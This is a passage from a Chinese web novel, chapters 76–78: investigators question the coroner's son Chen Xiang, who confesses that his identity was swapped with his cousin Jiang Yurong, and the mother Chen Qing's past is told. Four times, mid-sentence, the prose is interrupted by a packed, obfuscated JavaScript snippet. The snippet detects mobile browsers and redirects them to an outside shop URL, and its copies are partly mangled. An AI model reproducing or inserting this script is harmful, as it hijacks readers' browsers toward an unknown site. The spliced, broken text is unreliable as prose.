天色向晚,陈祥的面色在这样的晦暗之下有些看不真切,蒋玉蓉只觉得他的声音有些嘶哑,带着些慌乱:“表妹,县衙的人叫你去询问案情,你可有帮上什么忙?” 昏暗中,陈祥紧盯着蒋玉蓉的面容,紧张得咽了口唾沫,觉得喉头的空气吞吐得有些拥挤。最近有人在查从前老林头的事,又有人全程排查二十多岁的男子,仵作之家虽然很少与人往来导致信息闭塞,但总归也会传到他耳朵里的。 他总有些不祥的预感,自从官府秘密来了个不似寻常卫士打扮的人,还只带走了表妹,不许他跟着时,他便坐立难安,实在没辙,只好到官府西门外等候,才好安心。 蒋玉蓉眨着圆溜溜的大眼睛,将玄鉴堂内的对话一字不落地讲给陈祥听。她越讲,越投入到当时的情景之中,想起那位威武十足的大人,那位温润如玉的白衣大人,那两位英武飒爽的奇女子,心中又开心又酸涩,羡慕得劲,没注意到陈祥的脸色变了又变,垂在身体两侧的拳头暗自捏紧。 “他们真的都好厉害,好温柔,我好想每天都到县衙来呀,哦不对,那样岂不是天天都有杀人案了……咦?表哥,你怎么了?” 陈祥抬起头,一张脸上全是冷汗,失了血色,映照在乌蒙蒙的浅淡光亮之下,像一个找不着家的水鬼。 “表哥,你怎么了?”蒋玉蓉抓住陈祥的手臂摇了摇,有些忧心,“莫不是你也染上母亲那样的头病了?”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12961004|124185||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>陈祥失魂落魄地望着她,双眼已失了神:“母亲……姑姑……”他看着蒋玉蓉天真烂漫的眼神,喃喃道:“一开始就不该这样的,不该有什么母亲和姑姑,也不该在他们面前叫表哥表妹的……一开始,一开始就错了啊……” 蒋玉蓉现下觉得这已经不是头病那样简单了,按照医书上所说,表哥极有可能是患上了失魂症,要么就是吃了什么毒药,不然,怎么会身子还冷冰冰的,也没发烧,却竟说起胡话来了! “玉蓉。”蒋玉蓉听见有人唤自己,回头一看,“春信姑娘!” 蒋玉蓉将游魂似的陈祥扔在原地,三步并作两步跑上前去迎她:“春信姑娘,你怎么来了?” 春信身长七尺,比蒋玉蓉这样的小姑娘足足高了一个头,越过蒋玉蓉的头顶看向她身后的陈祥和正在和陈祥说话的春雨,微微勾起嘴角:“走吧,我送你回家,我们还有些关于上次那具尸首的事要问问你表哥,他得留下来。” “上次那具?是哪一具?我也记得的,兴许也能帮上忙……诶诶……”春信握住她的肩膀,将她翻面似的推转过身去,“走吧,你记得些什么,路上边走边聊。” 蒋玉蓉被春信拉着往前走,一步三回头,眼见着陈祥表哥被先前带她到县衙的那位小哥给带走了。 “别看了,等会儿你家桌上的饭菜都凉了。” 蒋玉蓉这才收回那眼巴巴的眼神,抬头看着春信,露出个笑容:“这样,春信姑娘也到我家里吃饭吧,尝尝我母亲做的菜。” “好啊好啊!”春信听到吃饭,也顾不上她这趟出门原本的使命,挽着蒋玉蓉加快了脚步。 - 胡碟看着面无血色的陈祥,想必这其中的渊源他是已经知道了,这般失魂落魄,看起来不是个咬紧牙关不开口的犯人,她看了谢明乾一眼,将手里记录户籍的文卷往他面前的桌子上“啪嗒”一放,便悠悠然向后躺进了圈椅里,摆明了一副“此事简单无需她出手”的样子。 谢明乾会意,接过文卷,打开看了看,微微勾起一个转瞬即逝的笑,起身将文卷递到陈祥面前:“陈仵作,这是记录着你们家户籍信息的文卷,你可要看一看?” 陈祥头也不敢抬,从春雨在西门外找到他的那刻起,他便知自己的猜测是变为现实了,对方说什么他也没听见,只能跟着对方走。他站在玄鉴堂下,知道这里是审了多少案子的地方,心中不由得一紧,强装镇定。只是这镇定在玄鉴堂诸位的眼中,仿佛是不值一提。 陈祥没有去接那文卷,他知道那文卷是星星点点的火星子,一旦沾染上身,便是火势蔓延,万劫不复。 谢明乾见他犹豫半天,迟迟不肯接过去,也不作声,心里有些不耐烦,像火舌燎在心上,烦闷难耐,便不多废话:“这户籍上记载你与蒋玉蓉明明是姐弟,可你二人却以兄妹相称,你作何解释?” 76. 第七十六章 陈祥听闻此言,心中本就不剩多少的底气泄掉了大半,膝盖一软,直直跪下:“大人,冤枉啊大人!” “冤枉?”谢明乾双眼利如鹰,“你到说说看,我冤枉你什么了?” 他话都还没说几句呢,便说他冤枉了他,这不是心虚是什么? “大人,大人,冤枉啊!”陈祥这会儿什么话也说不出,只会苦着脸喊冤枉。 春雨上前一步蹲在他面前:“我就奇怪了,我们一没说你偷,二没说你抢的,你这嘴一直巴巴地喊冤枉,你是心的哪门子虚?” 陈祥目光飘忽不定,结巴道:“我、我是觉得……” 谢明乾一把抓住他的衣领,陈祥瘦弱,这么一提就差把他给提飞起来:“你和蒋玉蓉,到底谁是谁?说清楚!” 陈祥感受到自己膝盖都已离了地,在半空扑棱着,连忙求饶:“我说、我说!我小时候身子弱,人家说要和妹妹换名字用好养活,我们才换了名字,连带着称呼彼此为兄妹,实则户籍上写的才是正确的,我们绝不敢欺瞒官府啊大人!” 谢明乾冷哼一声,将他扔回了地面:“撒谎。” 其实谢明乾心中也不太拿得准,只是眼下若还不能找到要找的人,他实在是有些无措了,便只能硬着头皮态度强硬些,就看能不能从陈祥嘴里撬出些什么东西了。若实在撬不出…… 那便只能求求敏理了。 谢明乾微微侧身,瞥见胡碟悠然品茶的身影,心中安定了不少。 “快从实招来!否则,我的当关剑可不答应!” 陈祥感受到着陆带来的心安,拍拍胸口顺着气,过了好久才缓过神来。他担惊受怕地看着眼前的大人,眼神凌厉如猛虎,身材纤长有力,手中长剑光彩熠熠,想必来历不简单,难道是一月前来禹城抓人的那位幽王? 这些日子以来,有人在找老林头那个儿子的事一直萦绕在他脑海,他心中焦灼,却又不敢派人去打听,唯恐自己露出马脚引人生疑。 他心上已经煎熬太久了,再熬,恐怕那砂锅都要熬裂开了,今日望着表妹离去,他就像牢笼里的囚犯,望着刑满释放远去的人影,心中艳羡不已,甚至那时他便产生了一种冲动,一种不管不顾的冲动,想把一切都说出来,如此便不再担惊受怕,再也不怕谁来查他,不用日日夜夜想着官府为何要派人来查他。 总归只是承认个爹,又不是认罪,再说那爹未曾养育过他,他也没有父债子偿的道理。 他若交代了,倒也不会引来什么祸事。既如此,不如交代,心里好坦率些! “我全都说!”陈祥双手颤抖,挥着袖子,豁出去了,“我、我们家户籍上写的确实有问题。” “按照户籍上记载,陈家养着的这两个孩子,是姑姑的孩子先出生,我父亲的孩子后出生,其实这一点,是对的,毕竟妇人怀胎显身子是做不得假的。只是这其中差错在于,我们家人自知不受人们待见,人们对我们家的关注也少,哪怕是那年姑姑未婚有子,人们也只是在背地里猜测,不敢靠近,也不敢上门来打听,因为人们啊,都嫌我们做仵作的晦气。” 陈祥脱力跪坐在冰冷的青石板上,说话有气无力,仿若大病之中虚弱的病人一般,讲到这儿,自嘲地笑了几声,笑得比哭还难看:“前些日子我去迎亲,才知道姑姑给我说亲时,并未告诉人家我们家是做什么行当的,只说是做些小本买卖,有几块地,日子勉强过得去。我去时没带几个迎亲的人,对方觉得不妥当,我解释说家族人气凋零,子孙少,对方多处打听,听闻我家是仵作,将我骂了一顿,说我们是福薄之家,还来祸害他家闺女,将我撵了出来。” “说远了,对不住。”陈祥抬起袖子擦了擦眼睛,“我是想说,我们仵作之家遭人嫌弃是真的,所以我们能瞒得过邻里之人也是真的。这么多年,我父亲、姑姑,还有我,其实都想从这行当里跳出去,也就是玉蓉表妹,拼了命地想往里面钻,谁劝都不听。只是我们这样的人生来命贱,不做这个,又能靠什么生存下去呢?” 陈祥叹了口气:“不说这个了,说回我们家的事吧。” “我们家确实是姑姑的孩子先于父亲的孩子出生,但是外面的人很少知道我们家孩子的具体情况,他们也只是靠妇人肚子消减判断生产与否,所以我和表妹便可混淆一二,外面的人也不知实情。” 陈祥苦涩地笑着:“也就是你们,听我们多说了几句话,才能知晓我与表妹是兄妹相称。实则……按照我们现在的父母关系,我与她应该是姐弟才对。” 他阖上双眼,眼皮微微颤抖着:“没错,其实我才是先出生的那个孩子,玉蓉才是后出生的孩子。其实……其实……”他艰难地张嘴,半晌没说出话来:“我才是姑姑的孩子,玉蓉她……才是父亲母亲的孩子……” “你年方二十,是个男子,不知父亲是谁,素日离群索居,是也不是?”谢明乾捏住陈祥的肩膀,“回答我,回答我!” 陈祥对上那双眸子,布满了肃杀的气息,只是在这肃杀之中,犹有几分哀伤与渴求,已不似先前那般云光万丈,穿云见日。 “……是、是,”陈祥慢吞吞道,“不,也不全是。我知道我父亲是谁,他、他是城东卖酒的老林头,我与他,见过一面。” 谢明乾脑中白光闪过,仿若溺水的人终于重新浮出水面,呼吸到了第一口气,重获新生一般,欢欣、劫后余生、等待的滋味,在心上一遍一遍地流淌。 他看向胡碟,那人亦是看向他,瞧见彼此澄澈的眼睛,和眼底的欣喜。 见过一面!陈祥说他曾与那人见过一面! “在哪里,在哪里见过一面?” 陈祥不知所以地看着上方的这些人,皆投来了期冀的目光。一瞬间他明白了,恐怕这个问题才是他们想问的关键。 他咽了口唾沫,字斟句酌着接下来的话语:“在……五年前,禹城发大 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12986651|124185||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 水的时候,城东医馆……” 感受到谢明乾一下松了力道,陈祥抬起头,便见他眼中神采奕奕,仿若雨后天晴,褪去杀气,活脱脱一个晴朗恣意的少年模样。 “你在那儿见到了哪些人?” 陈祥回忆着:“头一日晚上,姑姑将我叫去,将一切都给我交代了,我那时大惊之下,久久不能回神。姑姑告诉我,我的生父就快要不行了,嘱咐我第二人去医馆见一见他。我又惊又怕,手足无措,一夜未眠,第二日很早便去了医馆,到了天黑才回来。期间见过的人可多了,比如说周家的那个……” “大夫,那儿的大夫呢,你多想想他。”谢明乾道。 “大夫?”陈祥看着谢明乾摇了摇头,“大人,你是何人,为何如此发问?” 谢明乾避而不答:“你不必知道,只需告诉我便可。” 陈祥道:“我并非要知道你们所查为何,只是你这番问话,叫我觉得你并不了解那年的情况,我若说与你听,怕你不了解。” “我了解,我了解的。”谢明乾着急于得到一个答案,“你只管说便是,听不听得明白那是我的事。” 陈祥皱着眉头,迟疑地望着谢明乾,有些不敢往下说:“大人,我说的都是真的,绝无欺瞒,那医馆里,一直就没有大夫啊……” “信口雌黄。”谢明乾揪住他的衣领,阴恻恻睨着他,“蒋玉蓉都说见过,你却说没见过?” 陈祥又是一愣:“我妹妹说见过?” “没错,蒋玉蓉说称呼他为叔叔,那叔叔还给过她糖吃。” 陈祥恍然大悟,终于和谢明乾对上了线,这下总算放心了,否则总是害怕这位大人随时要把他撕碎了。 “你说的是那位剑客,那位游医!” “对,没错!” “哎呀,你早说嘛,那医馆的大夫确实是不在了,早先就被冲走了,所以那位大善人便在那里落脚,给大家治病看伤。” 谢明乾轻皱了下眉头:“你们这些人,一会儿叫叔叔,一会儿叫剑客,一会儿又游医,一会儿又是大善人的,这么多叫法,还怪我了?” 陈祥笑道:“不敢不敢,那位大善人什么都会,什么都能干,所以我们叫他什么的都有。” “那你说,那日可有见过他?” “见过啊,”陈祥回忆道,“正是他带着我生父的话来到我家,说我生父死前想见我一眼,我才来的。而且那日没人知道我来,正是这位大善人偷偷放我进去的。” 谢明乾止不住地点头,那便没错了。当日出现在医馆的证人都已经被不明人士处理干净了,只有那个采药郎逃走,只有这个偷偷看望生父的儿子无人知晓,幸免于难。 “这位大善人在你离开之前,可曾出去过?” 陈祥这下也想起好些关于那位大善人的细节,毫不犹豫道:“我可以保证,他知道我离开,也就是天黑之前,都不曾离开过。” 77. 第七十七章 “此话可当真?”谢明乾急切道。 “当真。”陈祥点点头,“我可以保证。那日快近午时,我便到了医馆,那位大善人引我至我生父床前,交代我与他多说说话,他说我生父是常年喝酒伤了身体,如今已是强弩之末,他为我父亲煎的药需得三碗水煎成一碗水,他得亲自守着药炉,叫我照看好父亲,若是前院有客人前来拜访,叫我也接待一二。” 谢明乾手指不断收缩捏紧,心上止不住的澎湃,是了,这样一来,师父在后院煎药,陈祥在前院遇到了刘庆,便对得上了。 “每隔大概一个时辰,那位善人便给父亲喂一次药,他根本不可能离开的。”陈祥笃定道。 “太好了……太好了……”谢明乾望着手中当关剑,喃喃道,“师父那日未曾去过莲华院,他是被冤枉了……” 有一丝哀愁凝在空中,似一缕香缠绵,经久不散。 “陈仵作,你可愿意,做个证人?” “证人?”陈祥一下有些慌,似乎是不愿卷进案子里,“做什么证人?” 谢明乾迟疑了一下,想着净巍宗的案子毕竟是秘辛,若是说去皇帝面前做证人,恐怕陈祥不敢也不愿去,便只说:“去京城南都,跟南都里的大人说,说我师父那日一直待在医馆便可。” 陈祥有些犹豫:“作证倒是无妨,既然与我有关,那位善人于我们也有恩,草民自然是义不容辞。只是远行,需得回家问过长辈,告知一声才是。” “那是自然、那是自然。”谢明乾嘴角噙着笑意,“陈仵作回去与家里说一声便是,待你有了回复,我们随时启程,你看怎么样?” 陈祥也不推拒,欣然答应:“甚好,甚好,如此,我即刻便回去问过家人,只是……” “只是什么?” 陈祥有些抱歉:“只是草民还有些请求……” 谢明乾道:“你有什么心愿,只管说便是。” 陈祥见谢明乾误会了,摇摇头道:“并非是什么心愿,只是想拜托大人,我们家的事,还请保守秘密,尤其是不想让表妹知道……” “好说好说。”谢明乾不疑有他,“这是你们家事,我们如今得到了想要的东西,自然也不会多管闲事。” 陈祥得了承诺,放下心来。只是不曾想,面前这位英俊威武的大人答应了,却还有人不答应。 “哼,你们让蒋玉蓉背负了那么多年的骂名,你却享受着你妹妹给你留出的避风港,你有什么资格瞒着她,有什么资格心安理得得告诉我们这是你的家事?” 这声音冷如毒蛇吐信,叫陈祥起了一身鸡皮疙瘩,寻着声音望去,才发现那人站在灯火明灭的墙角,大半张脸都隐在黑暗之中,一身黑衣,与黑暗融为一体。 胡碟沉下眼眸,将手中茶盏放在桌上,带了些力道,摔出“嘭”的一声。守一所说的,也正是胡碟所想的。 陈氏为何要调换兄妹二人的身份?除了不想自己的儿子活在私生子的骂名之中,而让蒋玉蓉做掩盖之外,再想不出什么别的理由了。 可蒋玉蓉是无辜的,失去双亲已是如此可怜,却还要背着不属于自己的骂名,这对她不公平。 陈祥听见响动,有一瞬的愣神,随即苦笑道:“难道各位觉得,我姑姑这样做,是因为她想保护我么?” 守一立刻回答:“难道不是么?” 陈祥眼角噙着苦涩的泪水:“也许吧。其实我也希望事情如同你们所想的那般,只是事与愿违,在我看来并非如此。” 守一冷笑一声,声音自幽暗中传来:“狡辩。” “随你们怎么想吧,”陈祥摇摇头,神情中有些痛苦,“但是我也想再说几句。” “我猜不出姑姑为何要调换我和玉蓉表妹,但有一点我可以确定,那就是这些年来,姑姑一直将玉蓉和我分得很开,对我一直是和蔼可亲,可同时,也是疏离的。对玉蓉就不一样了,玉蓉调皮,姑姑总是教训她,有时玉蓉身上被小竹条打起了红痕,姑姑总是偷偷给她抹药,自己还偷偷抹眼泪。她对玉蓉,有笑容,有怒火,我想,那才是母亲的样子。” “可是对我,姑姑始终带着疏离,总是礼貌客气。所以在五年前她告诉我我的身世之时,我完全不敢相信。” “我不敢相信这么多年,我过着没有双亲的生活,看着表妹和姑姑母女情深却只能羡慕,到头来却告诉我,我是有母亲的,只是母亲这么多年来一直爱着别人。” 陈祥捞起袖子擦了擦眼睛:“至于外人的非议,你们大概是忘了,我们仵作人家,一直以来都是被嫌弃的,骂名和议论从来不少,什么私生子、未婚先孕的话,在仵作是晦气之人,人人嫌恶面前,都算不得什么。” 他自嘲地笑了一下:“我不想让表妹知道,只是因为我不希望再多一个和我一样痛苦的人。姑姑对她那么珍爱,她没必要再多知道些什么,因为姑姑对她的爱是真的,若再添些隔阂与怀疑,那可就不好了。” 胡碟看向墙角的阴影处,很明显地感觉到那道人影僵住。 陈祥所说,不无道理。毕竟不管是在蒋玉蓉口中还是陈祥口中,蒋玉蓉与母亲的关系都是再正常不过的母女关系,可见陈氏并没有偏心自己的儿子,那么这个为了保护儿子而交换二人信息的说法便有些说不过去了。 这时胡碟听见陈祥长长地叹了一口气:“我得知真相以后,一直想改口叫母亲,可是姑姑她……说什么也不肯。当年我生父让姑姑背上如此骂名,我想姑姑应当是恨极了我,才不想让我当她的孩子吧。玉蓉对姑姑来说,是她哥哥嫂嫂的孩子,算起来,比我这个负心人的孩子要亲近多了……” - 那只手纤长灵活,有些粗糙,还有些黄色的斑点,没有戴任何的首饰,将一盘清炒小白菜端上桌子。顺着这只手往上看,是一身俭朴的衣衫,这手的主人一张饱经风霜的脸,与蒋玉蓉有五分相似。 “春信姑娘,家里没什么好酒好菜可以招待的,请您多担待。” 春信抬头望见那妇人和蔼的笑脸,回以一笑:“陈大娘您客气了,您做的菜味道都特别好!” “是么,哎哟,那你就多吃点。”陈青笑得合不拢嘴。 春信扒了几口饭:“一路上玉蓉姑娘就和我念叨呢,说她母亲做的饭菜可香了,叫我一定要来尝尝。” 蒋玉蓉闻言有些不好意思,飞快地瞥了母亲一眼,低下头塞了一大口菜进嘴里,自顾自地嚼着。 “这孩子还会说我的好话呐?”陈青揶揄道,“这死丫头隔三差五就要跟我闹一回,非说要学仵作。之前我和她外公都松口了,说让她跟着她表哥去打打下手,还不知足,非说不能只做仵 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12986652|124185||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 作的帮手,一定要做仵作才可以。” 蒋玉蓉有些生气,又觉得有些丢脸,低着头瓮声瓮气地道:“那是自然的,我不想一辈子都只做个在旁边看着的!” “你瞧瞧你这话说的,姑娘家家,哪有做仵作的,你别说做仵作了,就算是跟在你表哥屁股后头做个帮手,也不可能让你干一辈子,你迟早是要嫁人的,你就死了这条心吧!” 蒋玉蓉气得直跺脚:“娘,你根本不爱我,你嫌弃我是个丫头,你心里只偏袒表哥!” 此话一出,蒋玉蓉自己也惊了,她只是想说些话吓唬吓唬母亲,好证明自己的决心,却没想到,说出来的是这样一番话。她瞧见母亲眼里有了泪水,忙抓住她的袖子:“娘,我不是那个意思,我就是想气一气你……” 陈青深吸了口气,粗糙的手摸上蒋玉蓉丝滑的青丝:“傻丫头,娘怎么会不爱你,娘最爱的就是你呀……就是因为爱你,才想你别再沾染仵作的事,嫁个普通人家,脱离我们这不见天日人人嫌弃的日子呀……” “娘……”蒋玉蓉见母亲又要将话题说回什么嫁人不嫁人上去了,心里又不好过起来,抓住春信的手道:“娘,你看看春信姐姐,她武艺可高强了,她还在官府的大人身边当值呢,她也是女子呀,她都可以,我为何不可以?” 春信迎上陈青打量的目光,有些局促地拍了拍衣角站直身子。先前陈青恐怕只当她是哪位大人的丫鬟,并未过多关注她,眼下知道了她是个正经当差的,又知道她是个女子,她还真有些害怕,怕自己又遇上洪老太那般嫌恶的眼神。 她有些后悔,当初就不该答应蒋玉蓉来吃饭的,就该暗中护送她回来,再暗中回去,在人前露脸,始终避免不了一番打量。 陈青却并未像春信所料那般,只是目光中有深意,对蒋玉蓉道:“你以为谁都能像这位姑娘似的,在大人物面前当差?在大昭,寻常女子做了这些事,只会被人在背后骂死,跟我们仵作一样被人嫌晦气。” “你看看你,”陈青食指点了一下蒋玉蓉的眉心,又指着她身上的黑衣,“去县衙验尸都得遮遮掩掩的,你还不明白女子做这些事有多不受待见么?” 她似乎觉得不太对,转头对春信道:“春信姑娘,我并没有说你的意思,只是我想你能在贵人身边当差,恐怕也是有一番奇遇的,不是我们这些平常人可以比的。” 春信忙点头道:“我知道,我也明白,您说的,我都见过的,大昭对女人出去做事,总是不待见的。” 陈青附和道:“就是啊,大昭的女人好好在家相夫教子,多轻松啊,我们该知足才是,你看像我就没那个好命,孤苦半生,只能自己拼死累活养活我和女儿。” 蒋玉蓉揉着眉心,拉紧了春信的手臂,不服气道:“谁说的?万一我也有奇遇呢?我才不要在家里享受,我享受不起,我看那些在家里的妇人也好不到哪儿去,你看最近审的案子,洪家老太太丧夫又丧子,都变成怨妇了,犯下买卖人口的罪,还有那许梅香姐姐也是,以前总也得做针线活补贴家用,后来还被卖掉被杀掉,还有那个刘大娘,自己的女儿都被自己丈夫害了,这些我都看到了听到了,你说嫁人就会快乐吗?我看全是假话!” “啪” 蒋玉蓉偏头捂着脸,看向给了自己一巴掌的母亲,不可置信地红了眼眶。 78. 第七十八章 陈青抬起的手微微颤抖着,看见蒋玉蓉红了的眼眶,自己也开始鼻子酸涩起来。她有些无力地扶着桌子坐下,微低着头,叹了口气,缓慢道:“若不是被人嫌弃我们仵作家晦气,我又怎会落得个未婚有子的下场,被外人耻笑……”她扶额摇头,苦笑道:“这样的命,苦啊……” 陈青与老林头相识于二十年前,那时候老林头还不老,也还未入赘卫家,没在城东卖酒。 初相遇时,陈青并不愿意让对方知晓自己的身份,刻意隐瞒,只说自己是农家女。老林头说要娶她,与她一起做一对羡煞旁人的恩爱夫妻。陈青动容不已,与他私定终身,相约到一个谁也不认识的地方共同生活。老林头也不疑有他,爽快地答应了。 只是后来一场大水,他们在大水中失去了联系,老林头三个月没有出现,她日日夜夜焦急等待,在二人以前常常约见的巷子口,怎么也等不来那人。这时她身子不太爽利,因着自己懂些医术,一摸,方知是有了身子。 那时起她便有些怨恨这个孩子,既是个牵挂也是个累赘。为了一个不知等不等得来的男人,若留下这个孩子,她便再不能与别人在一起了,好几次她心一横,想将这个孩子落了,却终究没狠下心,想着再等一等老林,再等一等吧。 外面都说,她这个孩子是她消失了一段时间之后有的,实则不然,那段时间洪灾泛滥,人人自危,哪里顾得上她这样一个仵作家的女儿。妇人怀孕,总是三个月之后才显腰身,那些嘴碎的人胡乱猜测,也就将她这孩子传成这样,说不知这孩子父亲是何方神圣了。 那时她心里总有些赌气,想着有朝一日老林回来与她成亲了,定叫那些人目瞪口呆。 只是在那幽深寂静的巷子口,她等来的却是老林的一句抱歉。 “阿青,对不住,我已经成婚了……”老林低着头,看也不敢看她一眼。 陈青愤恨地甩了他一巴掌:“为什么?你为什么要这样对我?!” 老林目光放在她的腰身上,目光晦涩:“这孩子打了,你另寻个人家吧。” “姓林的,你是什么蠢货?”陈青瞪大了眼睛,泪水似雨不住滑落,“这孩子这么大了,这时候打掉,你不如说是想杀人灭口叫我一尸两命得了!” “我……”老林目光空洞地望着她,不住地摇头,“对不住,我真的对不住……” “你这个混蛋!”年轻时候的陈青比起现在,性格只会更泼辣,毕竟是与死人打交道,力气大不说,下手还不知轻重。她抱着肚子,对着老林头一阵拳打脚踢。老林头好几次疼得眼泪鼻涕一块儿掉,想还手制止陈青,却没想到,陈青压根就没给他还手的机会。 一直到陈青打累了,扶着肚子站在一旁休息,他才能鼻青脸肿地,开口说句话:“你这毒妇,平日里那副温柔的样子,都是装得吧,嗯?” 陈青气得两眼一黑,赌气道:“是啊,老娘就是喜欢装温柔,骗你们这种死男人的感情。哦还有,我不妨告诉你吧,你知道城南仵作家么?替收尸验尸,卖棺材卖香烛纸钱,那就是我家。” 陈青指着自己,抬脚踢了老林的腿几下,“喂,我每次见你都是刚收拾完尸体就来的,我看可不是一个人,算起来,你抱着我的时候,相当于还抱着十几具尸体的尸臭味儿呢。你不是总说我好香么,那就是苍术皂角的味道,只可惜也掩盖不了我才刚刚碰过那么多死人的事实。” “怎么样,”陈青又恶狠狠地补了几脚,“爽不爽?刺不刺激?” 老林头脸色大变,捂着嘴就要吐,吐完还嘟囔着:“你、你们家竟然是卖棺材的……” “是啊,我们家就是卖棺材的。”陈青插着腰站在巷子口,背后眼光格外的晃眼,人来人往,没有人注意到这里发生的一切,只是让阳光明灭闪烁,晃动如当初情动相爱时荡漾的心。 “姓林的,从今往后,我们井水不犯河水。我们家不缺棺材,你的孩子,我会给它挑一口最烂的。” 陈青拍拍手,潇洒地从老林头身上跨过去。她没有回头,她想往前走,只可惜前方是幽深不知处,身后才是柳暗花明,她却不愿意去。 无论向前还是向后,对她而言,或许从踏进这条巷子时起,便是逃不出的死局。她想往前走,却从这天起,只能步入无边的黑暗。 陈青走得干脆潇洒,回家后却抱着肚子哭了三天。 一切都变了。 她看着这间自己长大的屋子,简陋、破旧,她曾经想要逃离,也曾经在这里,躺在床上,幻想自己的如意郎君和美满家庭。 前些日子,陈青还在这里期待着老林的归来,期待着她所期待的一切都没有事与愿违,都像想象中那么美好,可惜现在她等到了那个结果,那个结果是一句赤裸裸的“你做不到”。 那时父亲敲开了她的房门,坐在她身边沉默不言。她看着向来不多话的父亲,心里也满是怨恨,无声流泪。 陈青和自己大哥从小就没有母亲,父亲没有告诉过他们这是为什么,但那些小孩儿总是爱围在她身边说,他们俩的母亲是不要他们了,受不了这样的日子偷跑出去了。 她和大哥站在那些孩子面前,不会反驳,只会难过,那个沉默寡言的父亲也不会为他们出头,只会叫他们回去吃饭了,以后不要总在外面和那些孩子玩,仵作家的人,要学会习惯自己贫贱的身份,在人群中低调行事。 陈青从小总是受人欺负,总是和人打架,总是过得不开心。这一点,她大哥的那个女儿倒是和她很像,只是这丫头傻人有傻福,总是过得没心没肺的,不像她,面上嬉皮笑脸,其实心里的眼泪流个不停,心里的那片土壤,没有哪时哪刻不是泥泞。 陈青总是问自己,到底为什么过得这么不好。在她心里,答案无非是她是仵作家的孩子,她是个姑娘,她是个没娘要的野孩子。 所以她人生有两大愿望,一是逃离仵作之家,二是做一个好妻子、好母亲,拥有一个幸福的家庭。 所以她想嫁个好人家,只可惜老林毁了她所期望的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13006586|124185||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一切。 但她也不会觉得玉蓉这丫头说的是对的。嫁为人妇的,有一个完整的家庭,应该怎样都比她这种爹不疼娘不爱还未婚有子的生活强吧。 只是陈青还是那个陈青,又不是那个陈青了。她不再天真单纯,不再抱有期望。她想否认玉蓉这丫头说的鬼话,心里却又不得不承认她说的有几分道理。 陈青就这样与蒋玉蓉僵持着,相顾无言。 “陈大娘,玉蓉姑娘,你们母女之间,关系还真是亲昵。”春信打破了沉默。 陈青狐疑地看了她一眼,瞪着蒋玉蓉不说话。蒋玉蓉摸着发烫的脸,赌气似的别过脸去。 “我和我哥哥自小便是孤儿,都没能记得父母的样子,听人家说,孩子与双亲之间,总是又爱又恨的。”春信说完这些话,心里也有些诧异,难道是跟着胡碟混久了,自己竟然也如此巧舌如簧,会说如此让人动容的故事了。 陈青闻言,有些心疼地看着春信:“春信姑娘,我小时候也没有母亲,父亲又不懂照顾孩子,我和大哥不是饿着就是冻着,总觉得自己可怜,但咱们不都还是好好长大了,咱们这样的人,才叫是有韧劲呢。” 春信见陈青宽慰她,知道自己这故事讲得确实有用,三人之间氛围也好了不少。 “是啊,我看玉蓉也是个有韧劲的姑娘。” 蒋玉蓉见春信夸奖,一时间羞红了脸:“春信姐姐和守一姐姐才厉害呢,我要向你们学习。” “我们俩算什么厉害,还有真正厉害的你不知道呢。”春信好笑地点了点她的鼻子,然后呆呆地收回手,越发觉得自己像胡碟了。 “玉蓉姑娘,你为何如此执着于做仵作呢?” 蒋玉蓉有那么一瞬间的愣神,咬着嘴唇有些为难:“我……好像没怎么想过这个问题。” “你看看你,”陈青没好气道,“都不知道自己为什么想这么做,还天天拗着要学这学那的。” 蒋玉蓉被这话一下子逼急了,迫切地想让自己说点什么:“我、我才不是呢,我知道的!”她抓住春信的手:“春信姐姐,我是觉得,跟死人打交道,比跟活人打交道的好!” 春信眨眨眼,示意她继续说。 “小一些的时候,我真的是这样觉得的。小时候,外面的孩子总喜欢指着我骂,说我是没爹的孩子,说我们仵作家晦气,我听得烦都烦死了,渐渐地,我也不想出去玩儿了,反正和他们玩儿就是自讨苦吃。外公总是劝我说,和他们一起玩儿的时候,多说些好话,多认认怂装装样子,这样就能融入他们了。可是我不想,我也说不出口。” 